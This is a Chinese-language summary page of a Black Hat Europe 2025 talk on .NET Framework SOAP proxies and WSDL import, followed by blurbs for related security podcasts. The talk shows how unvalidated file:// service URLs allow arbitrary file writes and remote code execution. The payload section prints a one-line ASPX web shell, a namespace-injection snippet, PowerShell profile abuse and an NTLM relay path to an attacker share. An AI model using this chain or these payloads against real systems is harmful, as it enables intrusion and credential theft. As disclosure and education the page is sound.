KeyFrame內部研究專用

Black Hat Europe 2025 | Pwning .NET Framework Applications Through HTTP Client Proxies And WSDL

Black Hat·7月10日週五·39 min英文

三句話摘要

通過 WSDL 導入和 SOAP 代理無驗證的協議處理,實現 .NET 框架應用的任意文件寫入與遠程代碼執行。 .NET Framework 的 HTTP 代理設計缺陷與 WSDL 導入的無驗證機制形成系統性漏洞,影響所有依賴此功能的應用程序,Microsoft 拒絕從根本上修復,使防守責任完全落在開發者肩上。 無協議驗證的 .NET 設計缺陷:HttpWebClientProtocol 基類在獲取 Web 請求物件時,使用 as 運算符進行類型轉換。此運算符在轉換失敗時返回 null 而非拋出異常,使得當 SOAP 代理被強制使用 file:// 協議時,FileWebRequest 物件能夠無聲地被接受,進而執行文件寫入而非網路通信。

重點整理

重點
  • 1

    無協議驗證的 .NET 設計缺陷:HttpWebClientProtocol 基類在獲取 Web 請求物件時,使用 as 運算符進行類型轉換。此運算符在轉換失敗時返回 null 而非拋出異常,使得當 SOAP 代理被強制使用 file:// 協議時,FileWebRequest 物件能夠無聲地被接受,進而執行文件寫入而非網路通信。

  • 2

    WSDL 導入的攻擊表面擴展:Service Description Importer 類不對 WSDL 內的服務地址 URL 進行協議驗證,允許攻擊者透過惡意 WSDL 檔案直接控制生成的代理代碼所使用的協議。應用編譯並加載此代碼後,會自動將 SOAP 請求寫入本地檔案系統而非發送到網路。

  • 3

    分層漏洞利用鏈與變通方案:完整 RCE 需四個條件(應用使用 WSDL 導入、方法名可控、參數可控、參數反序列化)。即使某些條件缺失,也可透過 XML 命名空間注入(namespace smuggling)在 WSDL 命名空間 URL 查詢字符串中嵌入 Payload,繞過限制實現代碼執行。

  • 4

    跨產品影響與修復拒絕:漏洞影響範圍包括 Barracuda Service Center、Avanti Endpoint Manager、PowerShell、SQL Server Integration Services 等。Microsoft 拒絕從根本上修復 .NET Framework,僅建議用戶驗證輸入,導致此風險成為系統性威脅。

實用技巧與重點

乾貨
  • 漏洞涉及的核心類與方法
  • WebRequest.Create() — 根據 URL 協議返回不同物件(HttpWebRequest、FtpWebRequest、FileWebRequest)
  • HttpWebClientProtocol — SOAP HTTP 客戶端代理基類,調用 GetWebRequest()
  • Service Description Importer — 從 WSDL 生成並編譯 C# 代理代碼
  • XMLSerializer — 用於反序列化 SOAP 參數
  • 漏洞利用的四層檢查清單
  • 應用是否使用 Service Description Importer 導入 WSDL 且不驗證協議
  • 攻擊者是否可控制 SOAP 方法名稱
  • 攻擊者是否可控制 SOAP 方法的輸入參數值
  • 應用是否對參數進行反序列化(使用無參構造函數與 public setters)
  • 受影響的產品與 CVE
  • Barracuda Service Center(無認證 RCE,CVSS 8.8,已修補)
  • Avanti Endpoint Manager(需認證,CVSS 8.8,已修補)
  • Umbraco HCMS
  • Microsoft PowerShell(拒絕修復)
  • Microsoft SQL Server Integration Services(拒絕修復)
  • Microsoft SharePoint
  • Payload 技術
  • ASPX Web Shell:`<%@ Page Language="C#" %><% Process.Start("cmd","/c calc"); %>`
  • CSHTML 注入:使用 `@{}` 語法嵌入 C# 代碼(需應用支援 Razor 引擎)
  • 命名空間注入:在 WSDL 命名空間中透過查詢字符串注入(如 `http://namespace?@{Process.Start("calc")}`,不可用雙引號)
  • PowerShell Profile:寫入 `$PROFILE` 路徑,在 PowerShell 啟動時執行
  • NTLM 中繼:使用 `file://\\attacker-server/share` 格式觸發認證
  • 檔案寫入的內容限制
  • SOAP 消息體中的 `< > & "` 等字符被 XML 編碼
  • 命名空間方法中無法使用雙引號(單引號可用)
  • 無法直接寫入 ASP/ASPX 標籤括號,需透過字符串函數重建
  • 檔案寫入的優勢與限制
  • 優勢:完全控制寫入路徑、無副檔名檢驗、覆蓋現有檔案
  • 限制:寫入內容受 SOAP 格式制約、部分字符被編碼、無法直接控制完整檔案結構

結論

結論

.NET Framework 的 HTTP 代理設計缺陷與 WSDL 導入的無驗證機制形成系統性漏洞,影響所有依賴此功能的應用程序,Microsoft 拒絕從根本上修復,使防守責任完全落在開發者肩上。

完整解析

詳細

.NET Framework 在 HTTP 請求處理上存在一個基層的設計缺陷。WebRequest.Create() 方法會根據 URL 的協議頭(http、ftp、file)返回不同型別的物件,分別負責不同協議的通信。原本這是合理的設計,但當代理類使用不安全的 as 運算符進行類型轉換時,問題出現了。與直接的 cast 強制轉換不同,as 運算符在轉換失敗時並不拋出異常,而是返回 null 值。這意味著如果攻擊者能控制傳入代理的 URL,就可以強制應用使用 FileWebRequest 物件執行文件寫入,而非預期的 HTTP 通信。

演講者在 2024 年審計 Microsoft SharePoint 時首次發現了這個漏洞的跡象。但真正的突破點發生在 2025 年 7 月,當他審計 Barracuda Service Center 時,發現該產品暴露了一個名為 "Invoke Remote Method" 的無認證 SOAP API 端點。這個端點接受三個關鍵參數:URL(指向 WSDL 檔案的位置)、WSDL 檔案本身、以及要調用的方法名稱。應用程序的處理流程是:首先從提供的 URL 下載 WSDL;然後使用 .NET 的 Service Description Importer 類將 WSDL 導入;根據 WSDL 自動生成對應的 C# 代理代碼;將代碼編譯成 DLL;最後透過反射機制調用指定的 SOAP 方法。關鍵漏洞在於 Service Description Importer 對 WSDL 中指定的服務地址 URL 完全沒有驗證,這使得攻擊者可以在 WSDL 的服務定義區段中指定 file:// 協議而不是標準的 http://。

最終生成的代理代碼會原封不動地包含該協議。當應用程式嘗試執行原本應是 HTTP POST 請求的 SOAP 方法時,實際上變成了向指定路徑寫入檔案的操作。SOAP 消息的內容(包括方法名稱、參數值等)會被序列化為 XML 格式,直接寫入目標檔案。演講者在 Barracuda 的演示中,透過 WSDL 定義一個名為 POC 的方法,接受一個名為 script 的字符串參數,其預設值為一個完整的 ASPX Web Shell 代碼。由於 Barracuda 允許攻擊者完全控制方法名、參數名與參數值,這些內容都會被寫入檔案,形成一個可執行的 Web Shell。

對於無法完全控制參數的應用程序(如 Avanti Endpoint Manager,其中方法名與參數是硬編碼的),演講者發現了一個巧妙的變通方案。WSDL 中的命名空間屬性必須是有效的 URL 格式,但 .NET 允許在 URL 中包含查詢字符串與特殊字符。攻擊者可以透過在命名空間 URL 的查詢字符串中嵌入 C# 或 PowerShell 代碼(使用單引號避開 XML 的雙引號編碼),這些內容會被反射到生成的 SOAP 消息體中。即使方法與參數無法控制,命名空間的內容仍會被寫入檔案,同樣能實現代碼執行。

PowerShell 的風險尤其值得注意。其 New-WebServiceProxy 命令會根據提供的 WSDL 生成代理物件。當使用 file:// 協議的惡意 WSDL 時,PowerShell 會將 SOAP 消息寫入本地檔案。攻擊者可以利用這一點寫入 PowerShell Profile 檔案(位於 `$PROFILE` 變數指向的路徑),該檔案在每次 PowerShell 啟動時自動執行。這對運行提升權限 PowerShell 的用戶特別危險。

當演講者向 Microsoft 報告此漏洞時,Microsoft 的回應令人失望。公司拒絕修復 .NET Framework 層面的根本問題,聲稱這是「預期設計行為」,並建議用戶不要從不受信任的來源消費 WSDL 檔案。即便演講者提供了 PowerShell、SQL Server Integration Services 等微軟自有產品中的具體漏洞案例,Microsoft 仍未採取行動修復。最終,Microsoft 僅在文檔中添加了一行警告,指出 Service Description Importer 不應與不受信任的輸入一起使用。這實質上將安全責任轉移給了開發者,而不是從根本上消除威脅。

關鍵時刻

Pipeline v2

帶時間戳的重點,會在逐字稿層級分析上線後產生。目前請先透過原始影片觀看。

事實查核

Pipeline v2

說法查證是下一次管線升級的一部分。KeyFrame 只會顯示它真正能驗證的內容。

更多「Web2 安全」的內容

Risky Bulletin: Russia starts blocking DoH and DoT
編輯精選
8 min
Web2 安全英文PODCAST8月26日

Risky Bulletin: Russia starts blocking DoH and DoT

Risky Business

  • 國家級網路管制層級提升:俄羅斯主動封鎖加密 DNS 協定對抗審查工具,中國加速淘汰 Windows 系統並遷移自主 Linux 發行版,各國正透過技術與法律手段強化網路主權與信息控制能力。
  • 詐騙犯罪走向精密化與自動化:從冒充警察的聲音詐騙(竊取 7.2 百萬美元)、AI 語音代理自動化破解 iPhone 啟用鎖、到跨越數百網站的投資詐騙(詐騙 7400 萬美元),犯罪組織正利用自動化工具與 AI 技術大幅降低成本並擴大規模。
  • AI 惡意軟體威脅實際上被嚴重誇大:405 個整合 AI 的惡意軟體樣本中僅 12 個於真實感染被偵測,其餘來自測試環境,證明當前 AI 惡意軟體仍停留於實驗階段,尚未構成主流威脅。
SANS Stormcast Wednesday, August 26th, 2026: Obfuscating SSRF; Paint and Photos AI Watermarks; FTP Banner C2;
5 min
Web2 安全英文PODCAST8月26日

SANS Stormcast Wednesday, August 26th, 2026: Obfuscating SSRF; Paint and Photos AI Watermarks; FTP Banner C2;

SANS Stormcast

  • SSRF 攻擊者已進化出高級繞過手段,不直接使用元數據服務 IP(169.254.169.254),而改用專門域名服務將請求轉址,支援點或破折號分隔 IP,甚至可自部署 DNS 伺服器進行 DNS 重綁定攻擊,使傳統簡易過濾機制失效。
  • 本地 AI 模型並非完全隱私:微軟 Paint 雖在本地執行生成邏輯,但安全檢查需上傳提示文字至遠程伺服器,返回時圖像內嵌不易移除的伺服器 GUID 隱形浮水印,可見浮水印(Copilot 圖標)則易被移除。
  • 傳統 FTP 協議被新型惡意軟體重新利用為命令控制通道,透過 FTP banner 傳遞指令於連接埠 21,防守者應視任何出站 FTP 流量為異常信號。
SANS Stormcast Tuesday, August 25th, 2026: DOUBLECUP PNG; WebAudio Fingerprinting; Expired Domains; Android; Car
7 min
Web2 安全英文PODCAST8月25日

SANS Stormcast Tuesday, August 25th, 2026: DOUBLECUP PNG; WebAudio Fingerprinting; Expired Domains; Android; Car

SANS Stormcast

  • PNG 容器攻擊的簡易性設計:Double Cup 不依賴複雜的 Exif 或隱寫技術,只用 PNG 副檔名和檔頭來偽裝,核心是利用 findstr 指令的常見可用性讓執行變得無需額外工具。
  • Web Audio API 的隱密指紋識別:音訊於增益零的無聲狀態下播放,使用者完全無感,但錄製波形足以建立裝置特徵,在瀏覽器原生功能層面難以區分是反詐欺還是過度追蹤。
  • 域名過期引發的串聯漏洞:DMARC 報告端點使用過期域名是常見疏漏,允許攻擊者透過簡單的域名註冊取得他人的 SPF/DKIM 錯誤報告,進而收集目標系統配置情報。